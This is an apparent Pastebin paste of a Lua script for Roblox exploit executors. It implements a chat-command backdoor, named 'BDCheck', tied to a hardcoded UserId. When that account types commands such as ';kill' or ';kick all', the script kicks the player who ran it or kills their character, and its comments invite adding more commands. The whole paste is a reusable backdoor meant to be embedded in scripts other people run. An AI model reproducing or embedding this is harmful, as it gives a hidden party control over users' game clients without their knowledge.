Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local AdminPrefix = ";" -- xhange this to what you want (i.e: ;kill <namehere>) (if its blank it will error)
- local Players = game:GetService("Players")
- local LocalP = Players.LocalPlayer;
- getgenv().AdminTable = {
- [4406450103] = {["Access"] = 5}; -- axxess is what level of shit you want the person to have axxess to
- }
- getgenv().psearch = function(Name)
- local Inserted = {}
- for _, p in pairs(Players:GetPlayers()) do
- if string.lower(string.sub(p.Name,1, string.len(Name))) == string.lower(Name) then
- table.insert(Inserted, p);return p
- end
- end
- end -- Simple player finder function
- getgenv().AdminCmdList = {
- ["kick"] = {
- ["CommandFunc"] = function(Player, self, CmdPlayer)
- if Player == LocalP or Player == "all" then
- LocalP:Kick(self)
- end
- end;
- ["Clearence"] = {[5] = true;};
- }; -- u kan make new ones of these (the ; have to be in the same spots)
- ["kill"] = {
- ["CommandFunc"] = function(Player, self, CmdPlayer)
- if Player == LocalP or Player == "all" then
- LocalP.Character.Humanoid:ChangeState(15)
- end
- end;
- ["Clearence"] = {[4] = true;[5] = true;};
- };
- };
- getgenv().BDCheck = function(Target2, Chat)
- if Chat:sub(1, 1) == AdminPrefix then
- local args = string.split(Chat:sub(2), " ")
- local Command = AdminCmdList[table.remove(args, 1)]
- local targ1 = psearch(table.remove(args, 1))
- if Command and targ1 then -- Credits to !fishgang Cy for this BDCheck func
- return Command and Command["Clearence"][AdminTable[Target2.UserId].Access] and Command["CommandFunc"](targ1, table.concat(args, " "), Target2)
- end
- end
- end
- local GP = Players:GetPlayers()
- for i = 1, #GP do
- local CoolKidPlayer = GP[i]
- CoolKidPlayer.Chatted:Connect(function(Word)
- BDCheck(CoolKidPlayer, Word)
- end)
- end -- xhexks if you xhatted a kmd
- Players.PlayerAdded:Connect(function(CKP)
- CKP.Chatted:Connect(function(Message)
- BDCheck(CKP, Message)
- end)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement